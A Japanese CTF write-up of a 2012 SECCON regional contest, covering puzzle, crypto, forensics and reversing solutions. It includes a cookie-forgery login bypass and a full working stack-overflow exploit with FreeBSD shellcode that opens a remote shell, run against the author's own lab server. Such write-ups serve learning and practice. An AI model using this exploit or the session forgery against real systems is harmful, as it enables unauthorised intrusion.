第4回 SECCON 横浜大会(関東地区)CTF

SECCON CTFの横浜大会に参加してきた。チームメンバーは、@yatuhataさん、@tanaproさん、@zuisouさん、@kusano_k(私)。結果は準優勝だった。

以下は各問題の解法と答え。分かるところのみ。

1 練習問題

書かれている答えをコピペするだけ。

答え

secconctf

2 NG大学システム管理者からの依頼

ウェブサービスにrootでログインし、鍵を奪取しろという問題。解けなかった。
LDAP認証のインジェクションらしい。全然分からないので勉強しよう……。

3 SHA-3は3倍早くない

会員制のウェブサービスの1人目の会員のパスワードを奪取しろという問題。

会員登録してログインすると、↓のようなCookieが設定される。

sid=; uid=10; NIST_SHA-3=1a192fabce13988b84994d4296e6cdc418d55e2f1d7f942188d4040b94fc57ac

NIST_SHA-3はuidのSHA-3ハッシュなので、

sid=; uid=1; NIST_SHA-3=c89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6

とすると1人目の会員としてログインできる。パスワードは表示されないが、ソースにハッシュ値が書かれている。

4 Happy Merry Christmas!!

問題ファイルは、VBScriptとしてもJScriptとしても実行できて結果が異なる。

JScript

''// Happy Merry Christmas!!
''//                                 |
''//                               \ ' /
''//                             -- (*) --
''//                                >*<
''//                               >0<@<
''//                              >>>@<<*
''//                             >@>*<0<<<
''//                            >*>>@<<<@<<
''//                           >@>>0<<<*<<@<
''//                          >*>>0<<@<<<@<<<
''//                         >@>>*<<@<>*<<0<*<
''//           \*/          >0>>*<<@<>0><<*<@<<
''//       ___\\U//___     >*>>@><0<<*>>@><*<0<<
''//       |\\ | | \\|    >@>>0<*<0>>@<<0<<<*<@<<  
''//       | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
''//       |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
''//       |\\_|_|&&_// ||*.*.*.*|_\\db//_               
''//       """"|'.'.'.|~~|.*.*.*|     ____|_
''//           |'.'.'.|   ^^^^^^|____|>>>>>>|
''//           ~~~~~~~~         '""""`------'
''//

rem = then = function(){}
x = 2
if( x = 2 ) then [ key="+xvxxLv9PMADxLP9Px1bxRTAAx0nxUzAAx07xRf9Fx0TxRf9E-" ] = "xxx"
x="\"+"//":key="404GT44KT404Gq44Go44GT44KN044GnQ1RG44Go44GE440Gm44KL44Gw044G0C44GY44KD404Gq44GE0"
'"',key=key.replace(/x/g,'/')
WScript.Echo( key )

VBScript

''// Happy Merry Christmas!!
''//                                 |
''//                               \ ' /
''//                             -- (*) --
''//                                >*<
''//                               >0<@<
''//                              >>>@<<*
''//                             >@>*<0<<<
''//                            >*>>@<<<@<<
''//                           >@>>0<<<*<<@<
''//                          >*>>0<<@<<<@<<<
''//                         >@>>*<<@<>*<<0<*<
''//           \*/          >0>>*<<@<>0><<*<@<<
''//       ___\\U//___     >*>>@><0<<*>>@><*<0<<
''//       |\\ | | \\|    >@>>0<*<0>>@<<0<<<*<@<<  
''//       | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
''//       |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
''//       |\\_|_|&&_// ||*.*.*.*|_\\db//_               
''//       """"|'.'.'.|~~|.*.*.*|     ____|_
''//           |'.'.'.|   ^^^^^^|____|>>>>>>|
''//           ~~~~~~~~         '""""`------'
''//

rem = then = function(){}
x = 2
if( x = 2 ) then [ key="+xvxxLv9PMADxLP9Px1bxRTAAx0nxUzAAx07xRf9Fx0TxRf9E-" ] = "xxx"
x="\"+"//":key="404GT44KT404Gq44Go44GT44KN044GnQ1RG44Go44GE440Gm44KL44Gw044G0C44GY44KD404Gq44GE0"
'"',key=key.replace(/x/g,'/')
WScript.Echo( key )

はてなのコードの色づけ機能で何となく理解できる。

JScriptの結果は、

+/v//Lv9PMAD/LP9P/1b/RTAA/0n/UzAA/07/Rf9F/0T/Rf9E-

UTF-7として読む

&#65279;No Love is needed

VBScriptの結果は、

404GT44KT404Gq44Go44GT44KN044GnQ1RG44Go44GE440Gm44KL44Gw044G0C44GY44KD404Gq44GE0

↓0を取り除く

44GT44KT44Gq44Go44GT44KN44GnQ1RG44Go44GE44Gm44KL44Gw44GC44GY44KD44Gq44GE

Base64復号、UTF-8として読む

こんなところでCTFといてるばあじゃない

答え

こんなところでCTFといてるばあじゃない

5 動かした気になろう

PowerPCのELFファイルを実行して最後に出力される行を答えよという問題。実行する環境は無かったし、PowerPCアセンブラは読むのが辛かったしで、解けなかった(´・ω・`)

QEMUPowerPC環境を整えれば良いらしい。ここを参考にした。パスワードは、ここに書いてあるように、rootとuser。どうしてもネットワークに接続できなかったので、問題ファイルをCD-ROMイメージにしてマウントした。もっと良い方法は無いのか……。

root@debian-powerpc:~# ./mondai
Hello Fukuoka
Hello Kyutech

答え(たぶん)

Hello Kyutech

6 PEパズルに挑戦

First Accept。終了直前に出題された。PEファイルが9個のファイルに分割されていて、元に戻せという問題。

適当に貼り合わせて、

こうなった。

これが答えのはずはないだろうと思いながら、試してみるも、Wrong。しばらく試行錯誤しても、これしか出てこない……。
運営「答えの登録が間違っていました。ダメだった人はもう1回試してください」
( ´゚д゚`)エー

どう見ても、8.binが最初。サイズが中途半端なので1.binが最後。ファイルの先頭と末尾を見るに、2番目は4.binか6.binだけど、8.binのヘッダを見ると、0x2800で別のセッションになるので、0x800で区切れているように見える4.binが3番目。ということで、8, 6, 4, ?, ?, ?, ?, ?, 1。なぜか分からないけど、残りの部分はどうでも良い。0フィルでも動いた。

答え

aabbccddeeffgghh

8 パスワードを答えよ

exeファイルが渡されて、条件を満たすと「Congrats!」と表示されるので、その条件を調べる問題。exe自身のパスに対して、文字の置換と、0xab, 0xcd, 0xef, 0xab, 0xcd, 0xef, 0xab, …とのxorを3回繰り返しているので、逆算する。

A = [0xD4,0x46,0xF0,0x4F,0xB6,0x03,0x06,0xAA,0xFE,0x31,0xAE,0x8A]
X = [0xab,0xcd,0xef,0xab,0xcd,0xef,0xab,0xcd,0xef,0xab,0xcd,0xef]
S = [
    0x50,0x33,0x79,0xD1,0xED,0x5B,0x30,0x11,0x46,0xB0,0x8B,0xCA,0xDF,0x94,0x52,0xE7,
    0x65,0x90,0xCD,0x40,0xD2,0x67,0x3F,0x37,0xFD,0x78,0xBE,0x0C,0x6F,0x7E,0x14,0xCB,
    0x45,0x4A,0x48,0x22,0x92,0x61,0xF0,0xEF,0x44,0x56,0x82,0x3B,0x9B,0xB1,0x91,0x3A,
    0xA5,0x72,0xAB,0x0A,0x5E,0xB2,0x75,0x51,0x8F,0xA6,0x6D,0xEA,0xBD,0xA8,0x42,0xAA,
    0x69,0x38,0xA9,0xA0,0xD9,0x29,0x2D,0x34,0x6E,0xF2,0x3E,0x76,0x07,0x2E,0xEC,0x0E,
    0xBF,0x43,0x5D,0x5A,0xE6,0xE3,0x4F,0xFB,0x4D,0x97,0x87,0x86,0x25,0x84,0x71,0x60,
    0x4C,0xE4,0x1C,0x53,0x9E,0xC6,0x04,0xF1,0x4E,0xF6,0xD4,0x5C,0x1B,0x62,0xC0,0x93,
    0x2F,0x0F,0xE5,0x7C,0x59,0xC3,0xC5,0x09,0xEE,0x70,0x8A,0x64,0xF3,0xCE,0xE0,0xC4,
    0x2C,0xFE,0x7D,0xC9,0xC8,0x3D,0x19,0x98,0xD0,0xA3,0x54,0x49,0x2A,0x88,0xFC,0xB4,
    0x10,0x36,0x2B,0xAC,0xC2,0x21,0x00,0x8D,0x68,0xFF,0x4B,0x7B,0x24,0xFA,0xF9,0x05,
    0x6C,0x73,0xC1,0x0B,0x35,0x9A,0x18,0xEB,0x81,0x7F,0xCF,0xB5,0x7A,0x74,0xB9,0x63,
    0xDD,0x32,0x16,0xDA,0xCC,0x27,0xA7,0x23,0x08,0xAE,0xD7,0x26,0x13,0x85,0xF5,0xD8,
    0x8C,0xA4,0xBC,0x6A,0xE1,0x12,0x17,0x99,0x1F,0x47,0xC7,0x31,0x57,0x89,0xBA,0x58,
    0x77,0xAD,0xB6,0x9F,0xD5,0x9D,0xB3,0x06,0xB7,0x1D,0xF8,0x15,0x9C,0x96,0xDE,0xA2,
    0xDB,0x3C,0xAF,0x39,0xF4,0xE8,0xF7,0x83,0xA1,0x8E,0x28,0x66,0x5F,0xE9,0x6B,0x03,
    0xB8,0x95,0xE2,0xDC,0xD6,0x41,0x1A,0xD3,0xBB,0x55,0x02,0x20,0x01,0x1E,0x0D,0x80
]

A = [A[i]^X[i] for i in range(len(A))]
A = [S.index(a) for a in A]
A = [A[i]^X[i] for i in range(len(A))]
A = [S.index(a) for a in A]
A = [A[i]^X[i] for i in range(len(A))]
A = [S.index(a) for a in A]

print "".join(chr(a) for a in A)

答え

7LSCaLL13aCK

10 サーバへ侵入せよ!(その弐)

バイナリファイルが渡されて、それが動いているサーバーに対して攻撃する問題。バイナリがFreeBSD用で手元にFreeBSDが無くて解けなかった。パズルのような問題よりこういう問題のほうが有意義だと思っているのに、解けなくて残念。あとで解こう。

追記。解いた。

渡されたプログラムをCで書くと、こんな感じ。

#include <stdio.h>
#include <unistd.h>

char f()
{
    char t;
    if ( read(stdin,&t,1)!=1 )
        t = '\0';
    return t;
}

int main()
{
    char buf[0x100];
    int p=0;
    
    do
    {
        buf[p] = f();
        p++;
    }
    while ( buf[p-1]!='\n' );
    
    write(stdout,buf,p);
    
    return 0;
}

bufがスタックオーバーフローする脆弱性がある。ただし、スタックにはカナリアがいて、単純には攻撃できない。スタックは次のようになっている。

ebp-010c: buf
  :
ebp-0010: buf
ebp-000c: p
ebp-0008: カナリア
ebp-0004: ebxの待避
ebp+0000: ebpの待避
ebp+0004: リターンアドレス

bufの直後にpがあるため、bufの0x101バイト目が例えばa(0x61)だったとすると、pが0x161となる。0x101バイト目を0x0fにすることでカナリアを書き換えずにリターンアドレスが上書きできる。このとき、ebpを待避した値も出力されるので、それを見るとスタックのだいたいのアドレスがわかる。細かい調節は面倒なので、NOPスライド。

このプログラムの入出力は標準入出力だから、inetdを使っていたのだと思う。192.168.107.130で持ち帰ってきたプログラムをinetdで動かしている。それを攻撃するスクリプト

# coding: utf-8
import socket

# FreeBSD/x86 - execv(/bin/sh) - 23 bytes
# http://www.shell-storm.org/shellcode/files/shellcode-749.php
shell = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68"+
         "\x68\x2f\x62\x69\x6e\x89\xe3\x50"+
         "\x54\x53\xb0\x3b\x50\xcd\x80")

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.107.130",8))

s.send(
    "a"*0x100+
    "\x0f"+             # 以降のデータを0x110バイト目に書き込ませる
    "\x80\xed\xbf\xbf"+ # リターンアドレス
    "\x90"*0x100+       # NOP
    shell+              # シェルコード
    "\n")

r = s.recv(0x1000)
for i in range(len(r)):
    print "%02x"%ord(r[i]),
    if i%16==15:
        print
print

while True:
    s.send(raw_input(">")+"\n")
    print s.recv(0x1000)

実行の様子。

C:\documents\ctf\SECCON\2012yokohama\10>python attack.py
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
    (略)
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
2c 02 00 00 95 94 50 33 54 ed bf bf f8 ec bf bf
80 ed bf bf 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    (略)
90 90 90 90 31 c0 50 68 2f 2f 73 68 68 2f 62 69
6e 89 e3 50 54 53 b0 3b 50 cd 80 0a
>uname -a
FreeBSD FreeBSD 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:15:25 UTC 2012
     root@obrian.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

>ls -l
total 137
-r--r--r--   1 root  wheel  6199 Jan  3  2012 COPYRIGHT
drwxr-xr-x   2 root  wheel  1024 Jan  3  2012 bin
drwxr-xr-x   7 root  wheel  1024 Jan  3  2012 boot
dr-xr-xr-x  11 root  wheel   512 Dec 24 11:14 dev
drwxr-xr-x  20 root  wheel  2048 Dec 24 03:37 etc
-rw-r--r--   1 root  wheel    51 Dec 24 05:26 flag.txt
lrwxr-xr-x   1 root  wheel     8 Dec 24 11:12 home -> usr/home
drwxr-xr-x   3 root  wheel  1536 Jan  3  2012 lib
drwxr-xr-x   3 root  wheel   512 Jan  3  2012 libexec
drwxr-xr-x   2 root  wheel   512 Jan  3  2012 media
drwxr-xr-x   2 root  wheel   512 Jan  3  2012 mnt
dr-xr-xr-x   2 root  wheel   512 Jan  3  2012 proc
drwxr-xr-x   2 root  wheel  2560 Jan  3  2012 rescue
drwxr-xr-x   2 root  wheel   512 Dec 24 02:20 root
drwxr-xr-x   2 root  wheel  2560 Jan  3  2012 sbin
lrwxr-xr-x   1 root  wheel    11 Jan  3  2012 sys -> usr/src/sys
drwxrwxrwt   6 root  wheel   512 Dec 24 05:26 tmp
drwxr-xr-x  16 root  wheel   512 Dec 24 11:13 usr
drwxr-xr-x  23 root  wheel   512 Dec 24 11:14 var

>cat flag.txt
Honban no flag ga nandattanoka totemo kininaru...

本番の環境では、他に保護手段があったかもしれないけど、とりあえずデフォルト設定でインストールしたFreeBSDは攻略できた。

11 Find the key.

pcapファイルから鍵を探す問題。USBストレージの通信で、そんなの知らないよ(・3・)と諦めていたら、チームメンバーが解いてくれた。答えがそのままパケット中に出てくるらしい。

>strings -n8 7d157d658655465f35a6e06fc95b1446.pcap
smiBUFFALO USB Flash Disk  4000i
BUFFALO
PNO NAME    FAT32
BUFFALO
PNO NAME    FAT32
           (
ULA    TXT
NS-HA~1PSD
NS-TA~1PSD
NS-01~1PSD
NS-01~2PSD
KEY     TXT
DAME    BMP
(&%HFEfdc
  (略)
tLTB\M=@y
#n"u}c]Y
Haiyore! Yuzuharatan!

答え(たぶん)

Haiyore! Yuzuharatan!

12 pcapで遊ぼうシリーズ第n+3弾.

.pcapファイルが渡される。telnetで接続してcat key.txtをしているけど、その中身は答えではないらしい。
telnetの通信に紛れて、SYNしてすぐにRSTしている通信がある。そのSYNパケットのIPヘッダの識別子で1バイトずつ情報を送っている。何か変なパケットがあるなとは思っていたんだ……(負け惜しみ)。

import dpkt
ans = ""
for ts,buf in dpkt.pcap.Reader(open("q8.pcap","rb")):
    p = dpkt.ethernet.Ethernet(buf).data
    if p.data.flags==dpkt.tcp.TH_SYN:
        ans += chr(p.id>>8)
print ans[1:]

答え(たぶん)

Packet de Ojam4?

13 Ascending Order

解けなかった。色々な言語で文字列を処理する関数が書かれたファイルが渡された。Ascending Orderとは何だろう……。

各処理をPythonで書き直したのがこんな感じ。lenはstrの長さであることを仮定している。

#coding: utf-8

str = "SECCONCTF"
len = 9

# BASIC
H="*********" # H=str
print "".join(h.lower() if h.isupper() else h.upper() for h in H)

# C
def foobar(str,len):
    return "".join("ZIJKLMNOPQRSTUVWXYABCDEFGH"[ord(x)-ord("A")] for x in str)

# Python(そのまま)
def foobar(str, len):
    
    retstr = "";
    str = "Z" + str
    sptstr = str[:-1].split("A")
    for s in sptstr:
        tmp = ""
        for ss in s:
            tmp = ss + tmp
        retstr = tmp + retstr
    return retstr + "Z"

# なでしこ
def foobar(key,len):    # ●文字列変換({参照渡し}キー, 長さ)
    return key[::-1]

# PHP
def foobar(str,len):
    str = "".join(x.lower() if i==0 else x.upper() for i,x in enumerate(str))
    if len%2==0:
        str = str.encode("rot13")
    return str

# Lua
def foobar(str,len):
    i,j = 0,len-1
    ret = ""
    while i<j:
        ret += str[i]+str[j]
        i+=1; j-=1
    if len%2==1:
        ret += str[len/2]
    return ret

# アセンブラ(ARM)
# R1 = strlen(str)
# R2 = str
# と書かれているけど
# R0 = str
# が正しいと思う
def foobar(str,len):
    return "".join(sorted(list(str)))

それぞれの関数の戻り値を昇順に並べて何かするのか、関数の出力を別の関数の入力渡して〜と処理するのか、あるいは昇順に並べる処理をしている「ARM」が正解なのか。解いたチームはいなかったはずなので、もはや答えは闇の中……。

14 「私のパソコンのマウスが勝手に動くんですよ!」

実行するとメモ帳が立ち上がりマウスがぐるぐる回るプログラムが渡された。クリックしながら回っているようなので、ペイントを下に置くと答えが出てくる。

答え

17 ブレイキング・ザ・コード(祖母からの手紙)

First Accept。RSAの数式が書かれた写真と数字が並んだファイルが渡される。1バイトずつ暗号化しているので、真面目にRSAを解かなくても、各文字を暗号化した数字を予め計算しておけば良い。

E = [pow(x,68081,17777777) for x in range(256)]
a = ""
for c in open("crypted.txt").read().split(",")[:-1]:
    a += chr(E.index(int(c)))
print a

答え

RSa_iS_FantasTic_AlgoriThm

18 ファイルの中にあるメッセージに答えよ

Excelファイルが渡される。解けなかった。

19 Find the key!?

解けなかった。Windows 8Windowsストアアプリの解析。黒地に黒文字で答えが書いてある。アプリを動かして答えを得ようとすると、有効な署名が必要でけっこう面倒。

とりあえず自分で一度Windowsストアアプリを作ってインストールする。作ったアプリのプロジェクトフォルダから、????_TemporaryKey.pfxをコピーしておく。PowerShellを立ち上げて、

PS C:\Users\????\Desktop> makeappx.exe unpack /p .\FindTheKey_1.0.0.1_AnyCPU.appx /d aaa
Microsoft (R) MakeAppx Tool version 1.0.0.0
Copyright (C) 2012 Microsoft.  All rights reserved.

The package path (/p) parameter is: ".\FindTheKey_1.0.0.1_AnyCPU.appx"
The output directory (/d) parameter is: "aaa"
Unpacking ".\FindTheKey_1.0.0.1_AnyCPU.appx" (package name) to "aaa" (output directory).
Extracting file AppxManifest.xml to aaa\AppxManifest.xml
Extracting file AppxBlockMap.xml to aaa\AppxBlockMap.xml
Extracting file AppxSignature.p7x to aaa\AppxSignature.p7x
Extracting file AppxMetadata\CodeIntegrity.cat to aaa\AppxMetadata\CodeIntegrity.cat
Extracting file App.xaml to aaa\App.xaml
Extracting file Assets\Logo.png to aaa\Assets\Logo.png
Extracting file Assets\SmallLogo.png to aaa\Assets\SmallLogo.png
Extracting file Assets\SplashScreen.png to aaa\Assets\SplashScreen.png
Extracting file Assets\StoreLogo.png to aaa\Assets\StoreLogo.png
Extracting file Common\StandardStyles.xaml to aaa\Common\StandardStyles.xaml
Extracting file FindTheKey.exe to aaa\FindTheKey.exe
Extracting file MainPage.xaml to aaa\MainPage.xaml
Extracting file resources.pri to aaa\resources.pri
Package extraction succeeded.
PS C:\Users\??????\Desktop>

で、appxを展開。文字の色を白にするため、MainPage.xamlの11行目を

<Path Fill="White" Render〜

と書き換える。Manifestの名前と証明書の名前が一致していないと署名に失敗するので、AppxManifest.xmlの10行目のPublisherを「CN=(自分の名前)」にする。あとはパックして、署名して、インストール。

PS C:\Users\??????\Desktop> makeappx.exe pack /p .\FindTheKey_1.0.0.1_AnyCPU_2.appx /d aaa
Microsoft (R) MakeAppx Tool version 1.0.0.0
Copyright (C) 2012 Microsoft.  All rights reserved.

The package path (/p) parameter is: ".\FindTheKey_1.0.0.1_AnyCPU_2.appx"
The content directory (/d) parameter is: "aaa"
Enumerating files from directory "aaa"
MakeAppx : warning: Ignoring footprint file "AppxBlockMap.xml".
MakeAppx : warning: Ignoring footprint file "AppxMetadata\CodeIntegrity.cat".
MakeAppx : warning: Ignoring footprint file "AppxSignature.p7x".
Packing 10 file(s) in "aaa" (content directory) to ".\FindTheKey_1.0.0.1_AnyCPU_2.appx" (package name).
Using "aaa\AppxManifest.xml" as the manifest for the package.
Adding "aaa\App.xaml" to the package as a payload file.  Its path in the package is "App.xaml".
Adding "aaa\Assets\Logo.png" to the package as a payload file.  Its path in the package is "Assets\Logo.png".
Adding "aaa\Assets\SmallLogo.png" to the package as a payload file.  Its path in the package is "Assets\SmallLogo.png".
Adding "aaa\Assets\SplashScreen.png" to the package as a payload file.  Its path in the package is "Assets\SplashScreen.
png".
Adding "aaa\Assets\StoreLogo.png" to the package as a payload file.  Its path in the package is "Assets\StoreLogo.png".
Adding "aaa\Common\StandardStyles.xaml" to the package as a payload file.  Its path in the package is "Common\StandardSt
yles.xaml".
Adding "aaa\resources.pri" to the package as a payload file.  Its path in the package is "resources.pri".
Adding "aaa\FindTheKey.exe" to the package as a payload file.  Its path in the package is "FindTheKey.exe".
Adding "aaa\MainPage.xaml" to the package as a payload file.  Its path in the package is "MainPage.xaml".
Package creation succeeded.
PS C:\Users\??????\Desktop> signtool.exe sign /a /v /fd SHA256 /f .\App1_TemporaryKey.pfx .\FindTheKey_1.0.0.1_AnyCPU_2.
appx
The following certificate was selected:
    Issued to: ??????
    Issued by: ??????
    Expires:   Tue Dec 24 04:11:39 2013
    SHA1 hash: EA8FC67215D7B7951F3A3AD96A60AF09EFF4E9F8

Done Adding Additional Store
Successfully signed: .\FindTheKey_1.0.0.1_AnyCPU_2.appx

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0
PS C:\Users\??????\Desktop> Add-AppxPackage .\FindTheKey_1.0.0.1_AnyCPU_2.appx
PS C:\Users\??????\Desktop>

スタート画面から、FindTheKeyを開くと答えが表示される。

新しくWPFアプリケーションを作って、↓のようにxamlを書き換えたほうが楽だし、Windows 8Visual Studio 2012も不要。Dataの値はCommon/StandardStyles.xamlの1713行目の値をコピペ。

<Window x:Class="WpfApplication1.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        Title="MainWindow" Height="350" Width="525">
    <Grid>
        <Viewbox>
            <Path Fill="Black" RenderTransformOrigin="0.5,0.5" Stretch="Fill" UseLayoutRounding="False" Data="〜">
            </Path>
        </Viewbox>
    </Grid>
</Window>

答え(たぶん)

hello xaml!

21 エミュレータの中を見てみよう

GXemul 0.6.0でMaltaというMIPSボード向けのFreeBSD/NetBSDカーネルを起動しようとするとコケるのを修正するにはどうすれば良い? という問題。ソースファイルとかは何も渡されなくて、インターネット上で探して、ファイル名と行番号を答える。

私は全然分からなかったけど、チームメイトが解いていたので後で訊いてみよう。

22 このゲームクリアできる?

First Accept。ASProtectでパックされたテトリスで100点以上を取る問題。100点以上を取ったときのスコアが答えらしい。1ライン1点なのでチートするまでも無いだろう……と思ったら、落下スピードが速くなって無理だった。

パッカーのデバッガ検知があるので、デバッガ無しでゲームを起動して、後からアタッチ。Immunity Debuggerを使った。Search for→Constantで100を検索すると、いかにもな処理が見つかる。

00401C90  |> \833D 901F8900>CMP     DWORD PTR [891F90], 64
00401C97  |.  5E            POP     ESI
00401C98  |.  7D 3B         JGE     SHORT TETRISx.00401CD5
  :
  :
00401CD5  |>  C705 901F8900>MOV     DWORD PTR [891F90], 12EBE5E
00401CDF  |>  8BE5          MOV     ESP, EBP
00401CE1  |.  5D            POP     EBP
00401CE2  \.  C3            RETN

答え

19840606

23 カタカナの暗号を解け

以下の30文字のカタカナは何だろうか?

【暗号文】
ミクカロミクカロ マルカイオンガンオン ペニボルカイコーヘルイン ガンポンナ ペ ノッマッ アンアーヘルマル
???????? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ? ??? ? ?

【ヒント】
13128,13069,13128,13069,13126,13067,13065,13071,13065,13112,13118,13067,13086,13113,13061,13071,13120,13096,13111,13097,13125,13058,13059,13113,13126

ヒントの数字をUnicodeのコードとすると、

㍈㌍㍈㌍㍆㌋㌉㌏㌉㌸㌾㌋㌞㌹㌅㌏㍀㌨㌷㌩㍅㌂㌃㌹㍆

1行目が暗号文、2行目が答え。

ロンリーロンリークリスマスヒトリポツチマドノソトハペアルツク

まとめ

クリスマスネタがいっぱいだった(´・ω・`) 楽しいクリスマスだった(´・ω・`)